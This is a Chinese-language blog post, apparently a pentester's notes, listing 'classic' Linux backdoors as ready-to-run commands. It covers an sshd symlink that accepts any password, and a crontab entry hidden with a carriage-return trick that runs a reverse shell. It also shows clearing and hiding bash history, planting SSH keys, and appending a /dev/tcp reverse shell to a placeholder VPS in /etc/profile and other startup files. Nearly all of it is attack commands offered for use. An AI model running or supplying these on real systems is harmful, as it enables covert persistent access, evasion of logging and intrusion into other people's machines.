Linux经典后门

2021年12月28日

ssh软连接
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
经典后门。直接对sshd建立软连接,之后用任意密码登录即可。
ssh root@x.x.x.x -p 5555

https://www.cnblogs.com/sevck/p/6495884.html

设置隐藏任务计划反弹shell

(crontab -l;printf "*/3 * * * * /bin/bash /tmp/cron.sh;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

隐藏命令

[空格] cat /etc/passwd
[空格]set +o history    设置不显示命令
set -o history       恢复显示命令
history -d [num]      删除单一的命令num为左边行数标示
echo > ~/.bash_history     向history写入空文件
history -c        清空当前history

ssh公钥写入

生成ssh秘钥
ssh-keygen -t rsa
生成后在~/.ssh/ 文件夹中
id_rsa为私钥 id_rsa.pub 为公钥
将id_rsa.pub文件内容输入到~/.ssh/authorized_keys文件中,如果没有这个文件,那就自己新建
ssh root@10.211.55.4   尝试链接

环境变量植入后门

将反弹shell写入环境变量
echo 'bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1' >> /etc/profile
常见的环境变量路径
/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.profile
~/.bashrc
~/bash_logout
/etc/bashrc
/etc/bash.bashrc


https://www.fdfox.cn/articles/system/5275.html

https://www.anquanke.com/post/id/155943

分类:技术文章 | 标签: linux | 查看:525
常用Links利用dnslog探测目标进程

发表评论: